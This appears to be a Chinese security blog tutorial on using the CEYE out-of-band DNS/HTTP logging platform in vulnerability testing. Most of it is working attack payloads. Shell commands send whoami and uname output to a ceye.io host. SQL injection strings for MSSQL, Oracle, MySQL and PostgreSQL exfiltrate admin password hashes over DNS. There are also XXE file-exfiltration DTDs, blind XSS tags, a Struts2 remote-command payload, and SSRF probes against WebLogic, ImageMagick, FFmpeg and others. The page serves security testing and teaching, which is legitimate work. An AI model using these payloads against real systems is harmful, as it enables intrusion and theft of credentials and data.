CEYE平台使用简介

CEYE是一个监控平台,用于检测Out-of-Band数据,如DNS和HTTP请求,辅助安全研究人员在漏洞测试中收集信息。通过DNS和HTTP带外信道,CEYE提供回显信息,解决漏洞扫描工具可能的漏扫问题。基本使用包括注册、登录,获取域名标识符,并通过DNS和HTTP查询进行测试。趣味使用涵盖命令执行、SQL注入等,可用于安全研究和漏洞检测。

CEYE简介

CEYE是一个用于检测带外数据(Out-of-Band)的监控平台,例如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF/ XXE/ RCE等)。

CEYE的使用场景

CEYE的诞生也是因为它的使用场景而孕育而生的,一般有两种常见的情况会导致许多漏洞扫描工具漏扫:

  • 漏洞检测或漏洞利用需要进一步的用户或系统交互。
  • 一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。

为了解决这个问题,CEYE至此诞生。CEYE平台通过使用诸如DNS和HTTP之类的带外信道,便可以得到回显信息。

基本使用

注册与登录

CEYE网址:http://ceye.io/

如果你已经有账号了,那么直接登录即可,如果没有则注册一个就OK~

获得自己的域名标识符

在用户注册之后CEYE会为每一个注册用户提供一个具有唯一性的6位数的域名标识符identifier,你可以在你的个人页面中看到:

例如我们的域名标志符为abcdef.ceye.io,那么所有来自于abcdef.ceye.io或者*.abcdef.ceye.io的DNS查询和http的请求都会被记录下来,而通过查看这些记录下来的信息,安全研究人员可以确定并改进自己的漏洞研究方案。

简易测试

通过DNS带外信道检测Bind Payload的执行情况:

DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。

例如,在终端中使用 nslookup:

之后再CEYE平台中会有记录:

趣味使用

CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求。这可以用来做一些有趣的事情:

A、命令执行

Linux:

curl -X POST http://ip.port.xxxxxx.ceye.io/`whoami`

之后再CEYE平台上会外带处whoami的执行结果:

再如:

curl http://ip.port.xxxxxx.ceye.io/`uname -a`

之后可以查看内核版本:

Windows:

ping %USERNAME%.xxxxxx.ceye.io

CEYE平台中的回显:

一些常见的Windows变量:

//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有关                       time   命令的详细信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。

B、SQL Injection

Microsoft SQL Server

攻击者可以使用Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式:


\\ComputerName\SharedFolder\Resource

攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。

master..xp_dirtree

扩展存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹:

master..xp_dirtree '<dirpath>'

master..xp_fileexist

扩展存储程序master..xp_fileexist()用于确定一个特定的文件是否存在于硬盘: xp_fileexist ‘‘ 例如,要检查boot.ini文件是否存在于磁盘C 运行:

EXEC master..xp_fileexist 'C:\boot.ini';

master..xp_subdirs

扩展存储程序master..xp_subdirs()用于得到给定的文件夹内的文件夹列表:


master..xp_subdirs '<dirpath>'

例如,要获得C:\Windows中的所有次级文件夹:


EXEC master..xp_subdirs 'C:\Windows';

例子:通过MsSQL的扩展存储程序master..xp_dirtree()将管理员(sa)的密码哈希通过DNS传输

#!sql
DECLARE @host varchar(1024);
   

SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.ip.port.b182oj.ceye.io ';

EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

说明:

DECLARE @host varchar(1024);  
注册一个名为@host的变量,类型为varchar。

SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';  
获取db_name()然后转换成varchar类型,然后把获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。  

EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');  
列远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了  

http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

Oracle

Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的,其中几个用于网络接入的包让人特别感兴趣。

UTL_INADDR.GET_HOST_ADDRESS

UTL_INADDR包用于互联网的寻址–诸如检索本地和远程主机的主机名和IP的地址。它的成员函数GET_HOST_ADDRESS()用于检索特定主机的IP:

UTL_INADDR.GET_HOST_ADDRESS('<host>')

例如,为了获得test.example.com的IP地址,运行:

SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');  
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io'); 

UTL_HTTP.REQUEST

UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。 它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据:
UTL_HTTP.REQUEST(‘‘)

例如,为了获得http://test.example.com/index.php页面的前两千字节的数据,运行:

SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;  
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL; 

HTTPURITYPE.GETCLOB

HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB(Character Large Object):

HTTPURITYPE(‘‘).GETCLOB()

例如,从页面http://test.example.com/index.php开始内容检索 运行:

SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;  
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

DBMS_LDAP.INIT

DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议(LDAP)服务器。它的程序INIT()用于初始化与LDAP服务器的会话:
DBMS_LDAP.INIT((‘‘,)

例如:初始化与主机test.example.com的连接 运行:

SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;  
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;

攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。


例子:系统管理员(SYS)的密码哈希被Oracle程序DBMS_LDAP.INIT()通过DNS解析机制传输:

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL; 

Mysql

LOAD_FILE

MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:
LOAD_FILE(‘‘),例如,要获取C:\Windows\system.ini文件的内容运行:

SELECT LOAD_FILE('C:\\Windows\\system.ini') ;

例子:以下是使用MySQL的函数LOAD_FILE()将系统管理员的密码通过DNS解析机制传输的例子:


SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'  LIMIT 1),'.attacker.com\\foobar'));

就以sql盲注为例。深入理解下DNSlog注入过程:

首先提一下load_file()函数,它用于读取文件并返回文件内容(以字符串形式)。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet。

通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。另外要发送大量的get请求,那么这种行为很容易被目标物理防火墙认定位是黑客行为,最终导致IP被ban。

但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD。

load_file(concat('\\\\',(select database()),'.abcdef.ceye.io\\aaa'))

在这里我们需要了解load_file是可以发送DNS请求的。

所以就等同于访问了database().abcdef.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。

接下来注入就是库表列,语句自由组合。

例如 :

select schema_name from information_schema.schemata limit 0,1

要注意的是数据很可能不止一行,因此要用limit分次输出。MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));  
' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

PostgreSQL

PostgreSQL的声明COPY用于在文件系统的文件和表之间拷贝数据:

COPY <table>(<column>,...) FROM '<path>'

例如,为了将C:\Windows\Temp\users.txt的文件内容拷贝到含有唯一列names的users表中运行:


COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'

例子:以下是使用PostgreSQL的声明COPY将系统管理员的密码通过DNS解析机制传输的例子:

#!sql

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

这种预先计算的形式被使用,因为SQL的声明COPY不接受子查询。
同时,PostgreSQL的变量都必须被明确地声明并在子程序(函数或者程序)范围内使用。因此使用用户自定义的存储功能。

C、XML Entity Injection

当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://bywalks.ceye.io/%file;'>"
> 
%all;

在我们的ceye平台就可以接收到这个读取的服务器文件了。

当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是<?xml version='1.0'?>这种任然是从前台直接传递的时候,依旧是存在SSRF漏洞。所以对XXE的安全防护是必须严格化的。

例子:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test"> 
%remote;]> 
<root/>

D、SSRF attack

当我们遇到SSRF的时候,例如ImageUrl=XXX这种,可以吧XXX换成127.0.0.1:80,127.0.0.1:81等,看返回值的情况判断是否存在SSRF,也可以用NC -lvvp 8888监听本地8888端口,然后ImageUrl=http://Your-Ip:8888来观察是否存在SSRF。

同时,我们也可以用基于DNSLOG的ceye来观察是否存在SSRF,我们可以把XXX换成bywalks.ceye.io,然后看我们的ceye平台是否有服务器的IP来判断。

例如:

E、XSS Injection 

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:

><img src=http://xss.abcdef.ceye.io/aaa>  
"><img src=x onerror=http://bywalks.ceye.io>

可以用来判断是否存在XSS

F、Others

Structs2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4} 

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} 

FFMpeg

#EXTM3U 
#EXT-X-MEDIA-SEQUENCE:0 
#EXTINF:10.0, 
concat:http://ip.port.b182oj.ceye.io 
#EXT-X-ENDLIST  

WebLogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search 

ImageMagick

push graphic-context 
viewbox 0 0 640 480 
fill 'url(http://ip.port.b182oj.ceye.io)' 
pop graphic-context 

Resin

http://xxx.xxxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf 

Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

参考链接:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值